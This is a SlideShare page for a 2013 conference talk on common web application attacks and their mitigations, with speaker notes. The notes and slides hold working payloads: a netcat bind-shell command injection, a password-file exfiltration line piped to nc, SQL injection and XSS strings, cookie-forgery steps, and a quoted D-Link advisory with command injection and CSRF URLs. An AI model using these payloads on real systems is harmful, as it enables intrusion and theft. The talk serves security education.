Attacking Web Applications


Published on

Sasha Goldshtein's talk at the SELA Developer Practice (May 2013) that explains the most common vulnerabilities in web applications and demonstrates how to exploit them and how to defend applications against these attacks. Among the topics covered: SQL and OS command injection, XSS, CSRF, insecure session cookies, insecure password storage, and security misconfiguration.

Published in: Technology
No Downloads
Total Views
On Slideshare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide
  • Source: under Creative Commons 2.5 license.
  • Command injectionOpen http://localhost:1234/dvwa/vulnerabilities/exec/ Input and show the output – this looks suspiciously as though input is passed to a system() callInput;ls -laInput;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 13371 > /tmp/pipeThis creates a temporary pipe and connects a netcatlistener to one end of that pipeNow on the shell, runnclocalhost 13371 to connect to the other end of that pipe – we have a shell on the webserver!SQL injectionOpen http://localhost:1234/dvwa/vulnerabilities/sqli/Input ‘ or ‘1’=‘1 and show the output – we have the entire table Show the vulnerable code at /Applications/XAMPP/xamppfiles/htdocs/dvwa/vulnerabilities/sqli/source/low.php
  • Trusting cookie contents when the cookie is stored on the client is a horrible idea.Gruyere does that – it even stores whether the user is an admin in the cookie.Create a new user account on the GRUYERE cookie with Edit This CookieIllustrate that the cookie is neither Secure nor HttpOnlyIllustrate the cookie structure – “58923195|sasha||author”The part in the middle says whether I’m an admin. If I try to manipulate this blindly, it won’t work because there’s a hash on the cookie contents. (As a side note, this hash is not cryptographically secure so we could try to generate a collision, but not today.)Try to create a new user called “sasha|admin|author” – this will generate a cookie for “hash|sasha|admin|author||author”, which will log me in as admin Problem is, there is a client-side restriction on user id length for 16 chars. So we just bypass it and issue a request for the new user page – and then voila, we are logged in as sasha with admin privileges – note the “Manage this server” link on the homepage.|admin|author&pw=password
  • Show the power of rainbow tables:Go to a sha1 or md5 for a “strong” but short password:$ md5 -s Password123MD5 ("Password123") = 42f749ade7f9e195bf475f37a44cafcbInput it online and see how they find the plain text LinkedIn leaked hashes:Show the LinkedIn leaked hashes file (combo_not.txt). Some hashes have a leading 00000, some don’t. These hashes were not salted…Show that users have very bad security habits. Generate a couple of hashes for common passwords and show that they are in the file (password, Password1, etc.):pythonimport hashlibs = hashlib.sha1(‘password’).hexdigest()sSearch for that hash in the file (with grep)‘0’*5 + s[5:] Search for that hash in the file (with grep)
  • PersistentXSS in snippets:The trivial attempt to create a snippet with <script>alert(1)</script> doesn’t work – there is some sanitization on the serverBut this works: <a href=“javascript:alert(1)”>Click me</a>And this also works: <a onmouseover=“javascript:alert(1)”>Read me</a>Surprising persistent XSS:Go to “My Profile” and change the color to: red' onload='alert(1)' onmouseover='alert(2)Reflected XSS using a URL:'0wn3d')%3C/script%3EJust need to get the victim to click on that link (phishing, etc.) – the error page includes the error URL 
  • Just need to get the user to visit a page that makes the following request: example, you can set your profile icon URL to that, and Gruyere will happily serve that URL to any authenticated user that logs into the main page…
  • Source:
  • Note that using POST instead of GET is not enough in and of itself – it will prevent some CSRF attacks but from a page that’s fully controlled by the attacker, there is no problem to submit a POST request as well.Similarly, validating Referer headers is not enough because the Referer header can sometimes be spoofed by browsers or intermediaries.The best approach is to require a specific anti-CSRF token for each state-changing operation, and preferably require the user to reauthenticate before performing a sensitive state-changing operation.
  • Just do a Google search: click some links to illustrate the risks.
  • Full advisory text:From: devnull@s3cur1ty.deTo: bugtraq@securityfocus.comSubject: Multiple Vulnerabilities in D'Link DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision ADevice Name: DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision AVendor: D-Link============ Device Description: ============DIR-300: Vulnerable Firmware Releases - DIR-615: ============Tested Firmware Version : 4.13============ Vulnerable Firmware Releases - DIR-300: ============Firmware Version : 1.05 , Fri 13 Feb 2009Firmware Version : 1.05 , Mon 06 Jul 2009Firmware Version : 1.05 , Fri 26 Nov 2010I like the same version number with different build dates :-D============ Vulnerability Overview: ============ * OS Command Injection (1) The vulnerability is caused by missing input validation in the set/runtime/diagnostic/pingIp and the exeshell parameter and can be exploited to inject and execute arbitrary shell commands.It is possible to start a telnetd to compromise the device. You need credentials for the webinterface.`ping`Screenshot:`telnetd`&pingIP= * For changing the current password there is no request to the current password (2) With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management (3): http://Target-IP/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr= * Insecure Cryptographic Storage (4): There is no password hashing implemented and so it is saved in plain text on the system. You will find other ways to get access to it.# cat var/etc/httpasswdadmin:admin * reflected XSS (5) Injecting scripts into the parameter send_mail reveals that this parameter is not properly validated for malicious input. * HTTP Header Injection (6) Injecting scripts into the parameter date reveals that this parameter is not properly validated for malicious input.Request:GET /tools_vct.xgi?%0dNew%20Header=1 HTTP/1.1Host: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateProxy-Connection: keep-aliveResponse:HTTP/1.1 302 FoundServer: Alpha_webservDate: Sat, 01 Jan 2000 08:26:28 GMTContent-Type: text/htmlAccept-Ranges: bytesLocation: tools_vct.php?uptime=1589&New Header=1X-Pad: avoid browser bugContent-Length: 0 * Information Disclosure (7): Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available unauthenticated via the network.Request:http://<IP>/DevInfo.txtResponse:Firmware External Version: V4.13 Firmware Internal Version: ac6b Model Name: DIR-615 Hardware Version: D1 WLAN Domain: EU Kernel: Linux version 2.6.21 Language: en Graphcal Authentication: Disable LAN MAC: xxx WAN MAC: xxx WLAN MAC: xxx * Information Disclosure (8): Nice server banner to detect this type of devices easily:Server Banner: Mathopd/1.5p6============ Solution ============DIR-300A: Update to Firmware Version : 1.06 , Thu 11 Apr 2013DIR-615D: Update to Firmware Version : 4.14b02Vulnerability Nr. 1, 2, 3, 5, 6, 7, 8 - unfixedVulnarability Nr. 4 - unknownTelnetd with hard coded credentials is disabled with this update.============ Credits ============The vulnerability was discovered by Michael MessnerMail: devnull#at#s3cur1ty#dot#deWeb: http://www.s3cur1ty.deAdvisory URL: @s3cur1ty_deThere is also a default telnet user available and documented here: Time Line: ============October 2012 - discovered vulnerability15.10.2012 - contacted dlink via mail23.10.2012 - contacted dlink via first Webinterface11.11.2012 - contacted dlink via second Webinterface20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link21.12.2012 - D-link responded that they will check the findings *h00ray*11.01.2013 - requested status update25.01.2013 - requested status update25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they would talk ;)- since 07.02. there is some communication between dlink and me18.04.2013 - a new beta image is available for testing20.04.2013 - tested the provided image, feedback to vendor22.04.2013 - vendor releases update22.04.2013 - public release===================== Advisory end =====================
  • Attacking Web Applications

    1. 1. SELA DEVELOPER PRACTICEMay 5-9, 2013Attacking Web ApplicationsSasha GoldshteinCTO, SELA
    2. 2. Every web developer must be aware ofthe most common webattacks, risks, and mitigations.Don’t fly blind.
    3. 3. Typical RisksExposure of user information• Stealing passwords and using them with other services• Stealing user emails for spam lists• Stealing user personal information for identity theftDirect financial gain• Stealing user credit card detailsCreating a botnet• Using your servers / your users’ systems for maliciousactivityDenial of service• Preventing access to your service
    4. 4. Are they really after me?1. They could be, if you’re important.2. They are after your users.3. They found you randomly on the web.
    5. 5. OWASP Top Ten (2013 ReleaseCandidate)1. Injection2. Broken authentication and session management3. Cross-site scripting4. Insecure direct object references5. Security misconfiguration6. Sensitive data exposure7. Missing function level access control8. Cross-site request forgery9. Using components with known vulnerabilities10.Unvalidated redirects and forwards
    6. 6. Injection
    7. 7. SQL Injection• Suppose we have this very bad login validationcode:db.ExecuteReader("select * from users where name="+ Request["user"] + " and password="+ Request["password"] + "");• Suppose the user request parameter is … or 1=1• Then the query we execute is … (note that and hasprecedence over or)select * from users where name= or1=1 and password=whatever
    8. 8. OS Command Injection• Suppose we’re too lazy to perform DNS lookup, sowe resort to the following:system("nslookup " + Request["hostname"]);• Suppose the hostname parameter is …foo || cat /etc/password | nc• Then we end up sending the password file!
    9. 9. DEMOSQL injection and OS command injection
    10. 10. Mitigating Injections• DO NOT trust user input• DO NOT execute code or queries provided by theuser• DO NOT use blacklists for validation• Worst idea ever: reject inputs that contain the word“SELECT”• DO use SQL query parameters (?, @param, :param)• DO use whitelists and strict regexes for validation• DO fuzz your applications with invalid input• DISCUSS is injection possible with storedprocedures?
    11. 11. Broken authenticationor sessionmanagement
    12. 12. Sessions and URLs• Session identifier = key to the castle• DO NOT embed session identifiers in URLs• DO NOT trust cookie contents• DO NOT trust URL query string contents• DO NOT use predictable session identifiers• DO use a Secure, HttpOnly cookie for session id• DO use long, random session ids
    13. 13. DEMOExploiting vulnerable session information
    14. 14. Use HTTPS Correctly• DO NOT send sensitive information over HTTP• DO NOT display login pages over HTTP• DO NOT load HTTP frames/scripts/images in anotherwise HTTPs page• DO insist on pure HTTPS for sensitive pages
    15. 15. Storing Sensitive Information• DO NOT store anything you don’t have to store• Least responsibility principle• DO comply with regulation for secure storage• E.g. if you store credit card details, you’re in for some pain
    16. 16. Password Storage• DO NOT store passwords in clear text• DO NOT store encrypted passwords• DO NOT store weakly-hashed passwords• DO hash and salt passwords• DO reject weak passwords during signup• DO consider using OAuth services instead of yourown• DISCUSS which hash function to use• Use super-slow hash function (bcrypt) – subject to DOS• Use super-fast hash function (MD5, SHA1) – subject tocracking
    17. 17. DEMORainbow tables and weak passwords
    18. 18. XSS and CSRF
    19. 19. Cross-Site Scripting (XSS)• Injecting JavaScript into pages viewed by otherusers• Session (cookie) stealing, other information disclosure• DOM manipulation, tricking the user to do something• Temporary XSS• You craft a link that will cause code to be executed whenthe vulnerable page is accessed<script>alert(1);</script>• Persistent XSS• You provide data to the server which is then permanentlydisplayed when users visit a certain page
    20. 20. DEMOPersistent and temporary XSS
    21. 21. Cross-Site Request Forgery (CSRF)• Use the fact that the user is already authenticated toa website to generate requests on his behalf<imgsrc="" />• Interesting variation: use CSRF to login intoYouTube with the attacker’s credentials; then,Google history is stored into the attacker’s account
    22. 22. DEMOCSRF
    23. 23. Good Luck With Blacklisting Characters.70 Unique Ways To Encode <<%3C&lt&lt;&LT&LT;&#60&#060&#0060&#00060&#000060&#0000060<<<<<<&#x3c&#x03c&#x003c&#x0003c&#x00003c&#x000003c<<<<<&#x000003c;&#X3c&#X03c&#X003c&#X0003c&#X00003c&#X000003c<<<<<&#X000003c;&#x3C&#x03C&#x003C&#x0003C&#x00003C&#x000003C<<<<<&#x000003C;&#X3C&#X03C&#X003C&#X0003C&#X00003C&#X000003C<<<<<&#X000003C;x3cx3Cu003cu003C
    24. 24. Mitigating XSS and CSRF• DO NOT trust user input (didn’t we say thisalready?)• DO NOT allow GET requests to modify state• DO NOT rely on blacklists of characters/tags• DO escape and sanitize HTML provided by the user• DO generate anti-CSRF tokens and validate them• DO validate Referer headers
    25. 25. Security Configuration
    26. 26. Admin Consoles• DO NOT leave admin consoles exposed to theInternet• DO NOT provide “extra helpful” troubleshooting info• DO restrict admin consoles to local network only• DO whitelist IP addresses if absolutely necessarySome authcookies… yum!
    27. 27. DEMOLocating ELMAH error pages through Google
    28. 28. Bonus: A Real Vulnerability AdvisoryDLink DIR-615 and DIR-300• OS command injectionhttp://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=`telnetd`&pingIP=• CSRF to change admin password and enableremote administration (Internet-facing)http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=• Information disclosurehttp://<IP>/DevInfo.txt• Insecure password storage$ cat var/etc/httpasswdadmin:admin
    29. 29. Summary & Call To Action• Be aware of security risks and typical vulnerabilitieswhile you architect, design, and develop your webapplications• Ensure your developers get up to date securitytraining• Review code for security, not just correctness• Remember that web security is just one part of thepicture: if your web app is secure, attackers will tryother routes (social engineering, physical attacks,…) Follow OWASP for more:
    30. 30. SELA DEVELOPER PRACTICEMay 5-9, 2013Thank You!Questions?Sasha
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.